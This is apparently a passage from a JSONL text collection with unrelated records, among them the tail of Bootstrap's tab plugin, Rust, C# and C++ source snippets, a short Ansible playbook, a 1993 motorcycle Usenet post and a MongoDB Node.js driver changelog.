($this.parent('li').hasClass('active')) return\n\n var previous = $ul.find('.active:last a')[0]\n var e = $.Event('show.bs.tab', {\n relatedTarget: previous\n })\n\n $this.trigger(e)\n\n if (e.isDefaultPrevented()) return\n\n var $target = $(selector)\n\n this.activate($this.closest('li'), $ul)\n this.activate($target, $target.parent(), function () {\n $this.trigger({\n type: 'shown.bs.tab',\n relatedTarget: previous\n })\n })\n }\n\n Tab.prototype.activate = function (element, container, callback) {\n var $active = container.find('> .active')\n var transition = callback\n && $.support.transition\n && $active.hasClass('fade')\n\n function next() {\n $active\n .removeClass('active')\n .find('> .dropdown-menu > .active')\n .removeClass('active')\n\n element.addClass('active')\n\n if (transition) {\n element[0].offsetWidth // reflow for transition\n element.addClass('in')\n } else {\n element.removeClass('fade')\n }\n\n if (element.parent('.dropdown-menu')) {\n element.closest('li.dropdown').addClass('active')\n }\n\n callback && callback()\n }\n\n transition ?\n $active\n .one('bsTransitionEnd', next)\n .emulateTransitionEnd(150) :\n next()\n\n $active.removeClass('in')\n }\n\n\n // TAB PLUGIN DEFINITION\n // =====================\n\n function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tab')\n\n if (!data) $this.data('bs.tab', (data = new Tab(this)))\n if (typeof option == 'string') data[option]()\n })\n }\n\n var old = $.fn.tab\n\n $.fn.tab = Plugin\n $.fn.tab.Constructor = Tab\n\n\n // TAB NO CONFLICT\n // ===============\n\n $.fn.tab.noConflict = function () {\n $.fn.tab = old\n return this\n }\n\n\n // TAB DATA-API\n // ============\n\n $(document).on('click.bs.tab.data-api', '[data-toggle=\"tab\"], [data-toggle=\"pill\"]', function (e) {\n e.preventDefault()\n Plugin.call($(this), 'show')\n })\n\n}(jQuery);\n"} {"text": "/* ****************************************************************************\n *\n * Copyright (c) Microsoft Corporation. \n *\n * This source code is subject to terms and conditions of the Apache License, Version 2.0. A \n * copy of the license can be found in the License.html file at the root of this distribution. If \n * you cannot locate the Apache License, Version 2.0, please send an email to \n * vspython@microsoft.com. By using this source code in any fashion, you are agreeing to be bound \n * by the terms of the Apache License, Version 2.0.\n *\n * You must not remove this notice, or any other, from this software.\n *\n * ***************************************************************************/\n\nusing System;\n\nnamespace TestUtilities.SharedProject {\n [Flags]\n public enum SolutionElementFlags {\n None,\n ExcludeFromSolution = 0x01,\n ExcludeFromConfiguration = 0x02\n }\n}\n"} {"text": "- hosts: all\n remote_user: root\n\n roles:\n - role: ovirt-host-setup-vnc-sasl\n"} {"text": "//! Saves data to a CSV flatfile.\n\n// TODO: Enable compression/decompression and transferring to/from archives\n\nuse std::collections::HashMap;\nuse std::fs::File;\nuse std::path::Path;\nuse std::marker::PhantomData;\n\nuse csv::Writer;\nuse serde::{Serialize, Deserialize};\n\nuse trading::tick::GenTick;\nuse transport::tickstream::GenTickSink;\nuse transport::textlog::debug;\n\n// TODO: Non `CommandServer`-Based Logging\n\npub struct CsvSink<T> {\n writer: Writer<File>,\n ghost: PhantomData<T>,\n}\n\n/// A tick sink that writes data to a CSV file. As long as the data is able to be split up into columns and serialized, this sink should be able to handle it.\n/// Requires that the setting `output_path` be supplied in the settings `HashMap`.\nimpl<T> GenTickSink<T> for CsvSink<T> where T : Serialize, T : for<'de> Deserialize<'de> {\n fn new(settings: HashMap<String, String>) -> Result<Self, String> {\n let output_path = match settings.get(\"output_path\") {\n Some(p) => p,\n None => { return Err(String::from(\"You must supply an `output_path` argument in the input `HashMap`~\")) },\n };\n\n Ok(CsvSink {\n writer: Writer::from_path(Path::new(output_path)).map_err(debug)?,\n ghost: PhantomData{},\n })\n }\n\n fn tick(&mut self, t: GenTick<T>) {\n if let Err(e) = self.writer.serialize((t.timestamp, t.data)) {\n println!(\"Error while writing line to file: {:?}\", e);\n }\n let _ = self.writer.flush(); // TODO: find a better way to handle this\n }\n}\n"} {"text": "Newsgroups: rec.motorcycles\nPath: cantaloupe.srv.cs.cmu.edu!rochester!udel!darwin.sura.net!news-feed-1.peachnet.edu!gatech!howland.reston.ans.net!usc!news.service.uci.edu!ucivax!megatek!randy\nFrom: randy@megatek.com (Randy Davis)\nSubject: Re: Goldwing performance\nMessage-ID: <1993Apr6.163615.17860@megatek.com>\nSender: randy@megatek.com (Randy Davis)\nReply-To: randy@megatek.com\nOrganization: Megatek Corporation, San Diego, California\nReferences: <93091.095640TLT101@psuvm.psu.edu> <3880206@hpcc01.corp.hp.com>\nDate: Tue, 6 Apr 1993 16:36:15 GMT\nLines: 12\n\nIn article <3880206@hpcc01.corp.hp.com> gharriso@hpcc01.corp.hp.com (Graeme Harrison) writes:\n|According to Peter Egan in the just released Cycle World his FLHS is a\n|real dog when he pillions his 120lb wife. All that money for a dog that\n|doesn't defecate much. =:-] \n\n But, think of the *mystique* you are buying into for that extra $7k or\nmore!!!\n\nRandy Davis Email: randy@megatek.com\nZX-11 #00072 Pilot {uunet!ucsd}!megatek!randy\nDoD #0013\n\n"} {"text": "/*\n * Software License Agreement (BSD License)\n *\n * Copyright (c) 2017, Locus Robotics\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and/or other materials provided\n * with the distribution.\n * * Neither the name of the copyright holder nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */\n#include <costmap_queue/costmap_queue.h>\n#include <algorithm>\n#include <vector>\n\nnamespace costmap_queue\n{\n\nCostmapQueue::CostmapQueue(nav_core2::Costmap& costmap, bool manhattan) :\n MapBasedQueue(false), costmap_(costmap), seen_(0), manhattan_(manhattan), cached_max_distance_(-1)\n{\n reset();\n}\n\nvoid CostmapQueue::reset()\n{\n seen_.setInfo(costmap_.getInfo());\n seen_.reset();\n computeCache();\n MapBasedQueue::reset();\n}\n\nvoid CostmapQueue::enqueueCell(unsigned int x, unsigned int y)\n{\n enqueueCell(x, y, x, y);\n}\n\nvoid CostmapQueue::enqueueCell(unsigned int cur_x, unsigned int cur_y,\n unsigned int src_x, unsigned int src_y)\n{\n if (seen_(cur_x, cur_y)) return;\n\n // we compute our distance table one cell further than the inflation radius dictates so we can make the check below\n double distance = distanceLookup(cur_x, cur_y, src_x, src_y);\n CellData data(distance, cur_x, cur_y, src_x, src_y);\n if (validCellToQueue(data))\n {\n seen_.setValue(cur_x, cur_y, 1);\n enqueue(distance, data);\n }\n}\n\nCellData CostmapQueue::getNextCell()\n{\n // get the highest priority cell and pop it off the priority queue\n CellData current_cell = front();\n pop();\n\n unsigned int mx = current_cell.x_;\n unsigned int my = current_cell.y_;\n unsigned int sx = current_cell.src_x_;\n unsigned int sy = current_cell.src_y_;\n\n // attempt to put the neighbors of the current cell onto the queue\n if (mx > 0)\n enqueueCell(mx - 1, my, sx, sy);\n if (my > 0)\n enqueueCell(mx, my - 1, sx, sy);\n if (mx < costmap_.getWidth() - 1)\n enqueueCell(mx + 1, my, sx, sy);\n if (my < costmap_.getHeight() - 1)\n enqueueCell(mx, my + 1, sx, sy);\n\n return current_cell;\n}\n\nvoid CostmapQueue::computeCache()\n{\n int max_distance = getMaxDistance();\n if (max_distance == cached_max_distance_) return;\n cached_distances_.clear();\n\n cached_distances_.resize(max_distance + 2);\n\n for (unsigned int i = 0; i < cached_distances_.size(); ++i)\n {\n cached_distances_[i].resize(max_distance + 2);\n for (unsigned int j = 0; j < cached_distances_[i].size(); ++j)\n {\n if (manhattan_)\n {\n cached_distances_[i][j] = i + j;\n }\n else\n {\n cached_distances_[i][j] = hypot(i, j);\n }\n }\n }\n cached_max_distance_ = max_distance;\n}\n\n} // namespace costmap_queue\n"} {"text": "/*\n Copyright 2017 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*/\n\n// Package bookstore exists to allow this repo to work with recursive go get.\n// It will be filled in with auto generated code.\npackage bookstore\n"} {"text": "2.1.21 2016-05-30\n-----------------\n* Updated mongodb-core to 1.3.21.\n* Pool gets stuck if a connection marked for immediateRelease times out (Issue #99, https://github.com/nbrachet).\n* Make authentication process retry up to authenticationRetries at authenticationRetryIntervalMS interval.\n* Made ismaster replicaset calls operate with connectTimeout or monitorSocketTimeout to lower impact of big socketTimeouts on monitoring performance.\n* Make sure connections mark as \"immediateRelease\" don't linger the inUserConnections list. Otherwise, after that connection times out, getAll() incorrectly returns more connections than are effectively present, causing the pool to not get restarted by reconnectServer. (Issue #99, https://github.com/nbrachet).\n* Make cursor getMore or killCursor correctly trigger pool reconnect to single server if pool has not been destroyed.\n* Make ismaster monitoring for single server connection default to avoid user confusion due to change in behavior.\n\n2.1.20 2016-05-25\n-----------------\n* Refactored MongoClient options handling to simplify the logic, unifying it.\n* NODE-707 Implemented openUploadStreamWithId on GridFS to allow for custom fileIds so users are able to customize shard key and shard distribution.\n* NODE-710 Allow setting driver loggerLevel and logger function from MongoClient options.\n* Updated mongodb-core to 1.3.20.\n* Minor fix for SSL errors on connection attempts, minor fix to reconnect handler for the server.\n* Don't write to socket before having registered the callback for commands, work around for windows issuing error events twice on node.js when socket gets destroyed by firewall.\n* Fix minor issue where connectingServers would not be removed correctly causing single server connections to not auto-reconnect.\n\n2.1.19 2016-05-17\n----------------\n* Handle situation where a server connection in a replicaset sometimes fails to be destroyed properly due to being in the middle of authentication when the destroy method is called on the replicaset causing it to be orphaned and never collected.\n* Ensure replicaset topology destroy is never called by SDAM.\n* Ensure all paths are correctly returned on inspectServer in replset.\n* Updated mongodb-core to 1.3.19 to fix minor connectivity issue on quick open/close of MongoClient connections on auth enabled mongodb Replicasets.\n\n2.1.18 2016-04-27\n-----------------\n* Updated mongodb-core to 1.3.18 to fix Node 6.0 issues.\n\n2.1.17 2016-04-26\n-----------------\n* Updated mongodb-core to 1.3.16 to work around issue with early versions of node 0.10.x due to missing unref method on ClearText streams.\n* INT-1308: Allow listIndexes to inherit readPreference from Collection or DB.\n* Fix timeout issue using new flags #1361.\n* Updated mongodb-core to 1.3.17.\n* Better handling of unique createIndex error.\n* Emit error only if db instance has an error listener.\n* DEFAULT authMechanism; don't throw error if explicitly set by user.\n\n2.1.16 2016-04-06\n-----------------\n* Updated mongodb-core to 1.3.16.\n\n2.1.15 2016-04-06\n-----------------\n* Updated mongodb-core to 1.3.15.\n* Set ssl, sslValidate etc to mongosOptions on url_parser (Issue #1352, https://github.com/rubenstolk).\n- NODE-687 Fixed issue where a server object failed to be destroyed if the replicaset state did not update successfully. This could leave active connections accumulating over time.\n- Fixed some situations where all connections are flushed due to a single connection in the connection pool closing.\n\n2.1.14 2016-03-29\n-----------------\n* Updated mongodb-core to 1.3.13.\n* Handle missing cursor on getMore when going through a mongos proxy by pinning to socket connection and not server.\n\n2.1.13 2016-03-29\n-----------------\n* Updated mongodb-core to 1.3.12.\n\n2.1.12 2016-03-29\n-----------------\n* Updated mongodb-core to 1.3.11.\n* Mongos setting acceptableLatencyMS exposed to control the latency women for mongos selection.\n* Mongos pickProxies fall back to closest mongos if no proxies meet latency window specified.\n* isConnected method for mongos uses same selection code as getServer.\n* Exceptions in cursor getServer trapped and correctly delegated to high level handler.\n\n2.1.11 2016-03-23\n-----------------\n* Updated mongodb-core to 1.3.10.\n* Introducing simplified connections settings.\n\n2.1.10 2016-03-21\n-----------------\n* Updated mongodb-core to 1.3.9.\n* Fixing issue that prevented mapReduce stats from being resolved (Issue #1351, https://github.com/davidgtonge)\n* Forwards SDAM monitoring events from mongodb-core.\n\n2.1.9 2016-03-16\n----------------\n* Updated mongodb-core to 1.3.7 to fix intermittent race condition that causes some users to experience big amounts of socket connections.\n* Makde bson parser in ordered/unordered bulk be directly from mongodb-core to avoid intermittent null error on mongoose.\n\n2.1.8 2016-03-14\n----------------\n* Updated mongodb-core to 1.3.5.\n* NODE-660 TypeError: Cannot read property 'noRelease' of undefined.\n* Harden MessageHandler in server.js to avoid issues where we cannot find a callback for an operation.\n* Ensure RequestId can never be larger than Max Number integer size.\n* NODE-661 typo in url_parser.js resulting in replSetServerOptions is not defined when connecting over ssl.\n* Confusing error with invalid partial index filter (Issue #1341, https://github.com/vkarpov15).\n* NODE-669 Should only error out promise for bulkWrite when error is a driver level error not a write error or write concern error.\n* NODE-662 shallow copy options on methods that are not currently doing it to avoid passed in options mutiation.\n* NODE-663 added lookup helper on aggregation cursor.\n* NODE-585 Result object specified incorrectly for findAndModify?.\n* NODE-666 harden validation for findAndModify CRUD methods.\n\n2.1.7 2016-02-09\n----------------\n* NODE-656 fixed corner case where cursor count command could be left without a connection available.\n* NODE-658 Work around issue that bufferMaxEntries:-1 for js gets interpreted wrongly due to double nature of Javascript numbers.\n* Fix: GridFS always returns the oldest version due to incorrect field name (Issue #1338, https://github.com/mdebruijne).\n* NODE-655 GridFS stream support for cancelling upload streams and download streams (Issue #1339, https://github.com/vkarpov15).\n* NODE-657 insertOne don`t return promise in some cases.\n* Added destroy alias for abort function on GridFSBucketWriteStream.\n\n2.1.6 2016-02-05\n----------------\n* Updated mongodb-core to 1.3.1.\n\n2.1.5 2016-02-04\n----------------\n* Updated mongodb-core to 1.3.0.\n* Added raw support for the command function on topologies.\n* Fixed issue where raw results that fell on batchSize boundaries failed (Issue #72)\n* Copy over all the properties to the callback returned from bindToDomain, (Issue #72)\n* Added connection hash id to be able to reference connection host/name without leaking it outside of driver.\n* NODE-638, Cannot authenticate database user with utf-8 password.\n* Refactored pool to be worker queue based, minimizing the impact a slow query have on throughput as long as # slow queries < # connections in the pool.\n* Pool now grows and shrinks correctly depending on demand not causing a full pool reconnect.\n* Improvements in monitoring of a Replicaset where in certain situations the inquiry process could get exited.\n* Switched to using Array.push instead of concat for use cases of a lot of documents.\n* Fixed issue where re-authentication could loose the credentials if whole Replicaset disconnected at once.\n* Added peer optional dependencies support using require_optional module.\n* Bug is listCollections for collection names that start with db name (Issue #1333, https://github.com/flyingfisher)\n* Emit error before closing stream (Issue #1335, https://github.com/eagleeye)\n\n2.1.4 2016-01-12\n----------------\n* Restricted node engine to >0.10.3 (https://jira.mongodb.org/browse/NODE-635).\n* Multiple database names ignored without a warning (https://jira.mongodb.org/browse/NODE-636, Issue #1324, https://github.com/yousefhamza).\n* Convert custom readPreference objects in collection.js (Issue #1326, https://github.com/Machyne).\n\n2.1.3 2016-01-04\n----------------\n* Updated mongodb-core to 1.2.31.\n* Allow connection to secondary if primaryPreferred or secondaryPreferred (Issue #70, https://github.com/leichter)\n\n2.1.2 2015-12-23\n----------------\n* Updated mongodb-core to 1.2.30.\n* Pool allocates size + 1 connections when using replicasets, reserving additional pool connection for monitoring exclusively.\n* Fixes bug when all replicaset members are down, that would cause it to fail to reconnect using the originally provided seedlist.\n\n2.1.1 2015-12-13\n----------------\n* Surfaced checkServerIdentity options for MongoClient, Server, ReplSet and Mongos to allow for control of the checkServerIdentity method available in Node.s 0.12.x or higher.\n* Added readPreference support to listCollections and listIndexes helpers.\n* Updated mongodb-core to 1.2.28.\n\n2.1.0 2015-12-06\n----------------\n* Implements the connection string specification, https://github.com/mongodb/specifications/blob/master/source/connection-string/connection-string-spec.rst.\n* Implements the new GridFS specification, https://github.com/mongodb/specifications/blob/master/source/gridfs/gridfs-spec.rst.\n* Full MongoDB 3.2 support.\n* NODE-601 Added maxAwaitTimeMS support for 3.2 getMore to allow for custom timeouts on tailable cursors.\n* Updated mongodb-core to 1.2.26.\n* Return destination in GridStore pipe function.\n* NODE-606 better error handling on destroyed topology for db.js methods.\n* Added isDestroyed method to server, replset and mongos topologies.\n* Upgraded test suite to run using mongodb-topology-manager.\n\n2.0.53 2015-12-23\n-----------------\n* Updated mongodb-core to 1.2.30.\n* Pool allocates size + 1 connections when using replicasets, reserving additional pool connection for monitoring exclusively.\n* Fixes bug when all replicaset members are down, that would cause it to fail to reconnect using the originally provided seedlist.\n\n2.0.52 2015-12-14\n-----------------\n* removed remove from Gridstore.close.\n\n2.0.51 2015-12-13\n-----------------\n* Surfaced checkServerIdentity options for MongoClient, Server, ReplSet and Mongos to allow for control of the checkServerIdentity method available in Node.s 0.12.x or higher.\n* Added readPreference support to listCollections and listIndexes helpers.\n* Updated mongodb-core to 1.2.28.\n\n2.0.50 2015-12-06\n-----------------\n* Updated mongodb-core to 1.2.26.\n\n2.0.49 2015-11-20\n-----------------\n* Updated mongodb-core to 1.2.24 with several fixes.\n * Fix Automattic/mongoose#3481; flush callbacks on error, (Issue #57, https://github.com/vkarpov15).\n * $explain query for wire protocol 2.6 and 2.4 does not set number of returned documents to -1 but to 0.\n * ismaster runs against admin.$cmd instead of system.$cmd.\n * Fixes to handle getMore command errors for MongoDB 3.2\n * Allows the process to properly close upon a Db.close() call on the replica set by shutting down the haTimer and closing arbiter connections.\n\n2.0.48 2015-11-07\n-----------------\n* GridFS no longer performs any deletes when writing a brand new file that does not have any previous <db>.fs.chunks or <db>.fs.files documents.\n* Updated mongodb-core to 1.2.21.\n* Hardened the checking for replicaset equality checks.\n* OpReplay flag correctly set on Wire protocol query.\n* Mongos load balancing added, introduced localThresholdMS to control the feature.\n* Kerberos now a peerDependency, making it not install it by default in Node 5.0 or higher.\n\n2.0.47 2015-10-28\n-----------------\n* Updated mongodb-core to 1.2.20.\n* Fixed bug in arbiter connection capping code.\n* NODE-599 correctly handle arrays of server tags in order of priority.\n* Fix for 2.6 wire protocol handler related to readPreference handling.\n* Added maxAwaitTimeMS support for 3.2 getMore to allow for custom timeouts on tailable cursors.\n* Make CoreCursor check for $err before saying that 'next' succeeded (Issue #53, https://github.com/vkarpov15).\n\n2.0.46 2015-10-15\n-----------------\n* Updated mongodb-core to 1.2.19.\n* NODE-578 Order of sort fields is lost for numeric field names.\n* Expose BSON Map (ES6 Map or polyfill).\n* Minor fixes for APM support to pass extended APM test suite.\n\n2.0.45 2015-09-30\n-----------------\n* NODE-566 Fix issue with rewind on capped collections causing cursor state to be reset on connection loss.\n\n2.0.44 2015-09-28\n-----------------\n* Bug fixes for APM upconverting of legacy INSERT/UPDATE/REMOVE wire protocol messages.\n* NODE-562, fixed issue where a Replicaset MongoDB URI with a single seed and replSet name set would cause a single direct connection instead of topology discovery.\n* Updated mongodb-core to 1.2.14.\n* NODE-563 Introduced options.ignoreUndefined for db class and MongoClient db options, made serialize undefined to null default again but allowing for overrides on insert/update/delete operations.\n* Use handleCallback if result is an error for count queries. (Issue #1298, https://github.com/agclever)\n* Rewind cursor to correctly force reconnect on capped collections when first query comes back empty.\n* NODE-571 added code 59 to legacy server errors when SCRAM-SHA-1 mechanism fails.\n* NODE-572 Remove examples that use the second parameter to `find()`.\n\n2.0.43 2015-09-14\n-----------------\n* Propagate timeout event correctly to db instances.\n* Application Monitoring API (APM) implemented.\n* NOT providing replSet name in MongoClient connection URI will force single server connection. Fixes issue where it was impossible to directly connect to a replicaset member server.\n* Updated mongodb-core to 1.2.12.\n* NODE-541 Initial Support \"read committed\" isolation level where \"committed\" means confimed by the voting majority of a replica set.\n* GridStore doesn't share readPreference setting from connection string. (Issue #1295, https://github.com/zhangyaoxing)\n* fixed forceServerObjectId calls (Issue #1292, https://github.com/d-mon-)\n* Pass promise library through to DB function (Issue #1294, https://github.com/RovingCodeMonkey)\n\n2.0.42 2015-08-18\n-----------------\n* Added test case to exercise all non-crud methods on mongos topologies, fixed numberOfConnectedServers on mongos topology instance.\n\n2.0.41 2015-08-14\n-----------------\n* Added missing Mongos.prototype.parserType function.\n* Updated mongodb-core to 1.2.10.\n\n2.0.40 2015-07-14\n-----------------\n* Updated mongodb-core to 1.2.9 for 2.4 wire protocol error handler fix.\n* NODE-525 Reset connectionTimeout after it's overwritten by tls.connect.\n* NODE-518 connectTimeoutMS is doubled in 2.0.39.\n* NODE-506 Ensures that errors from bulk unordered and ordered are instanceof Error (Issue #1282, https://github.com/owenallenaz).\n* NODE-526 Unique index not throwing duplicate key error.\n* NODE-528 Ignore undefined fields in Collection.find().\n* NODE-527 The API example for collection.createIndex shows Db.createIndex functionality.\n\n2.0.39 2015-07-14\n-----------------\n* Updated mongodb-core to 1.2.6 for NODE-505.\n\n2.0.38 2015-07-14\n-----------------\n* NODE-505 Query fails to find records that have a 'result' property with an array value.\n\n2.0.37 2015-07-14\n-----------------\n* NODE-504 Collection * Default options when using promiseLibrary.\n* NODE-500 Accidental repeat of hostname in seed list multiplies total connections persistently.\n* Updated mongodb-core to 1.2.5 to fix NODE-492.\n\n2.0.36 2015-07-07\n-----------------\n* Fully promisified allowing the use of ES6 generators and libraries like co. Also allows for BYOP (Bring your own promises).\n* NODE-493 updated mongodb-core to 1.2.4 to ensure we cannot DDOS the mongod or mongos process on large connection pool sizes.\n\n2.0.35 2015-06-17\n-----------------\n* Upgraded to mongodb-core 1.2.2 including removing warnings when C++ bson parser is not available and a fix for SCRAM authentication.\n\n2.0.34 2015-06-17\n-----------------\n* Upgraded to mongodb-core 1.2.1 speeding up serialization and removing the need for the c++ bson extension.\n* NODE-486 fixed issue related to limit and skip when calling toArray in 2.0 driver.\n* NODE-483 throw error if capabilities of topology is queries before topology has performed connection setup.\n* NODE-482 fixed issue where MongoClient.connect would incorrectly identify a replset seed list server as a non replicaset member.\n* NODE-487 fixed issue where killcursor command was not being sent correctly on limit and skip queries.\n\n2.0.33 2015-05-20\n-----------------\n* Bumped mongodb-core to 1.1.32.\n\n2.0.32 2015-05-19\n-----------------\n* NODE-463 db.close immediately executes its callback.\n* Don't only emit server close event once (Issue #1276, https://github.com/vkarpov15).\n* NODE-464 Updated mongodb-core to 1.1.31 that uses a single socket connection to arbiters and hidden servers as well as emitting all event correctly.\n\n2.0.31 2015-05-08\n-----------------\n* NODE-461 Tripping on error \"no chunks found for file, possibly corrupt\" when there is no error.\n\n2.0.30 2015-05-07\n-----------------\n* NODE-460 fix; don't set authMechanism for user in db.authenticate() to avoid mongoose authentication issue.\n\n2.0.29 2015-05-07\n-----------------\n* NODE-444 Possible memory leak, too many listeners added.\n* NODE-459 Auth failure using Node 0.8.28, MongoDB 3.0.2 & mongodb-node-native 1.4.35.\n* Bumped mongodb-core to 1.1.26.\n\n2.0.28 2015-04-24\n-----------------\n* Bumped mongodb-core to 1.1.25\n* Added Cursor.prototype.setCursorOption to allow for setting node specific cursor options for tailable cursors.\n* NODE-430 Cursor.count() opts argument masked by var opts = {}\n* NODE-406 Implemented Cursor.prototype.map function tapping into MongoClient cursor transforms.\n* NODE-438 replaceOne is not returning the result.ops property as described in the docs.\n* NODE-433 _read, pipe and write all open gridstore automatically if not open.\n* NODE-426 ensure drain event is emitted after write function returns, fixes intermittent issues in writing files to gridstore.\n* NODE-440 GridStoreStream._read() doesn't check GridStore.read() error.\n* Always use readPreference = primary for findAndModify command (ignore passed in read preferences) (Issue #1274, https://github.com/vkarpov15).\n* Minor fix in GridStore.exists for dealing with regular expressions searches.\n\n2.0.27 2015-04-07\n-----------------\n* NODE-410 Correctly handle issue with pause/resume in Node 0.10.x that causes exceptions when using the Node 0.12.0 style streams.\n\n2.0.26 2015-04-07\n-----------------\n* Implements the Common Index specification Standard API at https://github.com/mongodb/specifications/blob/master/source/index-management.rst.\n* NODE-408 Expose GridStore.currentChunk.chunkNumber.\n\n2.0.25 2015-03-26\n-----------------\n* Upgraded mongodb-core to 1.1.21, making the C++ bson code an optional dependency to the bson module.\n\n2.0.24 2015-03-24\n-----------------\n* NODE-395 Socket Not Closing, db.close called before full set finished initalizing leading to server connections in progress not being closed properly.\n* Upgraded mongodb-core to 1.1.20.\n\n2.0.23 2015-03-21\n-----------------\n* NODE-380 Correctly return MongoError from toError method.\n* Fixed issue where addCursorFlag was not correctly setting the flag on the command for mongodb-core.\n* NODE-388 Changed length from method to property on order.js/unordered.js bulk operations.\n* Upgraded mongodb-core to 1.1.19.\n\n2.0.22 2015-03-16\n-----------------\n* NODE-377, fixed issue where tags would correctly be checked on secondary and nearest to filter out eligible server candidates.\n* Upgraded mongodb-core to 1.1.17.\n\n2.0.21 2015-03-06\n-----------------\n* Upgraded mongodb-core to 1.1.16 making sslValidate default to true to force validation on connection unless overriden by the user.\n\n2.0.20 2015-03-04\n-----------------\n* Updated mongodb-core 1.1.15 to relax pickserver method.\n\n2.0.19 2015-03-03\n-----------------\n* NODE-376 Fixes issue * Unordered batch incorrectly tracks batch size when switching batch types (Issue #1261, https://github.com/meirgottlieb)\n* NODE-379 Fixes bug in cursor.count() that causes the result to always be zero for dotted collection names (Issue #1262, https://github.com/vsivsi)\n* Expose MongoError from mongodb-core (Issue #1260, https://github.com/tjconcept)\n\n2.0.18 2015-02-27\n-----------------\n* Bumped mongodb-core 1.1.14 to ensure passives are correctly added as secondaries.\n\n2.0.17 2015-02-27\n-----------------\n* NODE-336 Added length function to ordered and unordered bulk operations to be able know the amount of current operations in bulk.\n* Bumped mongodb-core 1.1.13 to ensure passives are correctly added as secondaries.\n\n2.0.16 2015-02-16\n-----------------\n* listCollection now returns filtered result correctly removing db name for 2.6 or earlier servers.\n* Bumped mongodb-core 1.1.12 to correctly work for node 0.12.0 and io.js.\n* Add ability to get collection name from cursor (Issue #1253, https://github.com/vkarpov15)\n\n2.0.15 2015-02-02\n-----------------\n* Unified behavior of listCollections results so 3.0 and pre 3.0 return same type of results.\n* Bumped mongodb-core to 1.1.11 to support per document tranforms in cursors as well as relaxing the setName requirement.\n* NODE-360 Aggregation cursor and command correctly passing down the maxTimeMS property.\n* Added ~1.0 mongodb-tools module for test running.\n* Remove the required setName for replicaset connections, if not set it will pick the first setName returned.\n\n2.0.14 2015-01-21\n-----------------\n* Fixed some MongoClient.connect options pass through issues and added test coverage.\n* Bumped mongodb-core to 1.1.9 including fixes for io.js\n\n2.0.13 2015-01-09\n-----------------\n* Bumped mongodb-core to 1.1.8.\n* Optimized query path for performance, moving Object.defineProperty outside of constructors.\n\n2.0.12 2014-12-22\n-----------------\n* Minor fixes to listCollections to ensure correct querying of a collection when using a string.\n\n2.0.11 2014-12-19\n-----------------\n* listCollections filters out index namespaces on < 2.8 correctly\n* Bumped mongo-client to 1.1.7\n\n2.0.10 2014-12-18\n-----------------\n* NODE-328 fixed db.open return when no callback available issue and added test.\n* NODE-327 Refactored listCollections to return cursor to support 2.8.\n* NODE-327 Added listIndexes method and refactored internal methods to use the new command helper.\n* NODE-335 Cannot create index for nested objects fixed by relaxing key checking for createIndex helper.\n* Enable setting of connectTimeoutMS (Issue #1235, https://github.com/vkarpov15)\n* Bumped mongo-client to 1.1.6\n\n2.0.9 2014-12-01\n----------------\n* Bumped mongodb-core to 1.1.3 fixing global leaked variables and introducing strict across all classes.\n* All classes are now strict (Issue #1233)\n* NODE-324 Refactored insert/update/remove and all other crud opts to rely on internal methods to avoid any recursion.\n* Fixed recursion issues in debug logging due to JSON.stringify()\n* Documentation fixes (Issue #1232, https://github.com/wsmoak)\n* Fix writeConcern in Db.prototype.ensureIndex (Issue #1231, https://github.com/Qard)\n\n2.0.8 2014-11-28\n----------------\n* NODE-322 Finished up prototype refactoring of Db class.\n* NODE-322 Exposed Cursor in index.js for New Relic.\n\n2.0.7 2014-11-20\n----------------\n* Bumped mongodb-core to 1.1.2 fixing a UTF8 encoding issue for collection names.\n* NODE-318 collection.update error while setting a function with serializeFunctions option.\n* Documentation fixes.\n\n2.0.6 2014-11-14\n----------------\n* Refactored code to be prototype based instead of privileged methods.\n* Bumped mongodb-core to 1.1.1 to take advantage of the prototype based refactorings.\n* Implemented missing aspects of the CRUD specification.\n* Fixed documentation issues.\n* Fixed global leak REFERENCE_BY_ID in gridfs grid_store (Issue #1225, https://github.com/j)\n* Fix LearnBoost/mongoose#2313: don't let user accidentally clobber geoNear params (Issue #1223, https://github.com/vkarpov15)\n\n2.0.5 2014-10-29\n----------------\n* Minor fixes to documentation and generation of documentation.\n* NODE-306 (No results in aggregation cursor when collection name contains a dot), Merged code for cursor and aggregation cursor.\n\n2.0.4 2014-10-23\n----------------\n* Allow for single replicaset seed list with no setName specified (Issue #1220, https://github.com/imaman)\n* Made each rewind on each call allowing for re-using the cursor.\n* Fixed issue where incorrect iterations would happen on each for extensive batchSizes.\n* NODE-301 specifying maxTimeMS on find causes all fields to be omitted from result.\n\n2.0.3 2014-10-14\n----------------\n* NODE-297 Aggregate Broken for case of pipeline with no 